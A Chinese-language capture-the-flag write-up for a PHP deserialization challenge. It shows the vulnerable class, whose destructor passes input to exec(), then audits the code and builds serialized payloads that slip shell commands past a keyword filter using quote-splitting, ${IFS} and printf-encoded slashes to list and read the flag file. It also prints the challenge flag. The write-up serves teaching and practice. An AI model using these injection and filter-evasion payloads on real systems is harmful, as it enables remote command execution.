一.审题

<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
二.代码审计
一个实体对象类ease,里面含有几个方法:_construct(创建实体) ,_destruct(销毁实体) ,ping, waf(过滤机制), _wakeup(反序列化的魔术方法)
使用POST传参,并且存在一个反序列化样式:unserialize,当我们通过POST传递ctf参数时,我们通过构造序列化去新增对象,会先后的调用函数:
POST传入数据
→ base64解码
→ unserialize()
→ __wakeup()
(调用waf()
过滤$args
) → (对象销毁)__destruct()
→ (条件满足时)ping()
(执行系统命令)
需要过滤的点:base64解码,过滤命令/(\||&|;| |\/|cat|flag|tac|php|ls)/,要求methon需要是ping
三解题
构建序列化后的句子:
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:4:"l''s";}}
这边对于args需要注意的是使用l""s或者l''s进行绕过,我这边使用HackBar进行post传参

得到可以的文件flag_1s_here,这边看并不是一个可以直接访问的文件可能是个文件夹什么的,ls一下这个文件下的内容
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:24:"l''s${IFS}f''lag_1s_here";}}
这边空格的过滤采用:${IFS}
${IFS}
是变量的 "引用形式",在命令中会被 Shell 自动解析为IFS
的实际值(即默认包含空格)
接下去我们就浏览一下这个文件,flag应该就出来了
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:74:"c''at${IFS}f""lag_1s_here$(printf${IFS}"\57")f''lag_831b69012c67b35f.p''hp";}}
得到flag:cyberpeace{367c9d5a1320dfef1bed663157002210}